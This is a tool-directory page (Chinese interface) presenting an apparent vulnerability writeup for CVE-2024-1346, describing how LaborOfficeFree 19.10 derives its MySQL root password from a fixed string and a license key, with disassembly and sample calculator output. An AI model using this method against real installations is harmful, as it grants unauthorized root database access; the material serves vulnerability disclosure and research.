Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-1346 — LaborOfficeFree 中 MySQL 数据库 root 密码弱,影响版本 19.10。此漏洞允许攻击者利用两个常量计算出 LaborOfficeFree 所使用的 MySQL 数据库的 root 密码。 | Kitploit
工具/GitHubGitHub/petergabaldon/cve-2024-1346
密码破解漏洞分析漏洞利用逆向工程二进制分析数据库安全
GitHubpetergabaldon/cve-2024-1346

CVE-2024-1346

LaborOfficeFree 中 MySQL 数据库 root 密码弱,影响版本 19.10。此漏洞允许攻击者利用两个常量计算出 LaborOfficeFree 所使用的 MySQL 数据库的 root 密码。

查看仓库
2262年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-1346

LaborOfficeFree 中弱 MySQL 数据库 root 密码影响版本 19.10。此漏洞允许攻击者使用两个常量计算 LaborOfficeFree 所用 MySQL 数据库的 root 密码。

Exploit Title: LaborOfficeFree 19.10 MySQL Root Password Calculator - CVE-2024-1346

Google Dork: N/A

Date: 09/02/2023

Exploit Author: Peter Gabaldon - https://pgj11.com/

Vendor Homepage: https://www.laborofficefree.com/

Software Link: https://www.laborofficefree.com/#plans

Version: 19.10

Tested on: Windows 10

CVE : CVE-2024-1346

Description: LaborOfficeFree 安装了一个以 SYSTEM 权限运行的 MySQL 实例,并基于两个常量计算 MySQL root 密码。每次程序需要以 root 身份连接 MySQL 时,它都使用逆向算法计算 root 密码。该问题仅在 19.10 版本上进行了测试,但据称 19.10 之前的版本也存在漏洞。

	在测试实验室中安装 LaborOfficeFree 并逆向备份过程后,可以确定它创建了一个 "mysqldump.exe" 进程,该进程使用 root 用户,而密码来源于字符串 "hola" 连接 "00331-20471-98465-AA370"(在此案例中)。这似乎是许可证密钥,但与 GUI 仪表板中显示的许可证不同。此许可证必须从内存中提取。例如,附加调试器并在 mysqldump 进程中中断(为此,不需要管理员权限)。

    此外,该应用程序会检查你是否是管理员来执行备份,如果不是以管理员身份运行则失败。但此检查无效,因为它实际上使用的是派生密码调用 mysqldump。因此,不需要管理员权限。

    以下是 LaborOfficeFree.exe 中负责计算 root 密码的过程的反汇编片段。

    00506548 | 53                       | push ebx                                | 这里是进行 XOR 等操作计算密码的地方 :)
    00506549 | 56                       | push esi                                |
    0050654A | A3 7CFD8800              | mov dword ptr ds:[88FD7C],eax           | eax:"hola00331-20471-98465-AA370"
    0050654F | 0FB7C2                   | movzx eax,dx                            | eax:"hola00331-20471-98465-AA370"
    00506552 | 85C0                     | test eax,eax                            | eax:"hola00331-20471-98465-AA370"
    00506554 | 7E 2E                    | jle laborofficefree.506584              |
    00506556 | BA 01000000              | mov edx,1                               |
    0050655B | 8B1D 7CFD8800            | mov ebx,dword ptr ds:[88FD7C]           |
    00506561 | 0FB65C13 FF              | movzx ebx,byte ptr ds:[ebx+edx-1]       |
    00506566 | 8B31                     | mov esi,dword ptr ds:[ecx]              |
    00506568 | 81E6 FF000000            | and esi,FF                              |
    0050656E | 33DE                     | xor ebx,esi                             |
    00506570 | 8B1C9D A40B8800          | mov ebx,dword ptr ds:[ebx*4+880BA4]     |
    00506577 | 8B31                     | mov esi,dword ptr ds:[ecx]              |
    00506579 | C1EE 08                  | shr esi,8                               |
    0050657C | 33DE                     | xor ebx,esi                             |
    0050657E | 8919                     | mov dword ptr ds:[ecx],ebx              |
    00506580 | 42                       | inc edx                                 |
    00506581 | 48                       | dec eax                                 | eax:"hola00331-20471-98465-AA370"
    00506582 | 75 D7                    | jne laborofficefree.50655B              |
    00506584 | 5E                       | pop esi                                 |
    00506585 | 5B                       | pop ebx                                 |
    00506586 | C3                       | ret                                     | 

    此过程得到的结果数字随后被取反(按位 NOT)并转换为有符号整数。注意:地址 0x880BA4 存储了一个由 256 个 DWORD 组成的常量数组。

    005065C8 | F755 F8                  | not dword ptr ss:[ebp-8]                |


	运行此脚本可产生 LaborOfficeFree MySQL 的 root 密码。

    C:\Users\***\Desktop>python myLaborRootPwdCalculator.py
    1591779762
    
    C:\Users\***\Desktop>
下载工具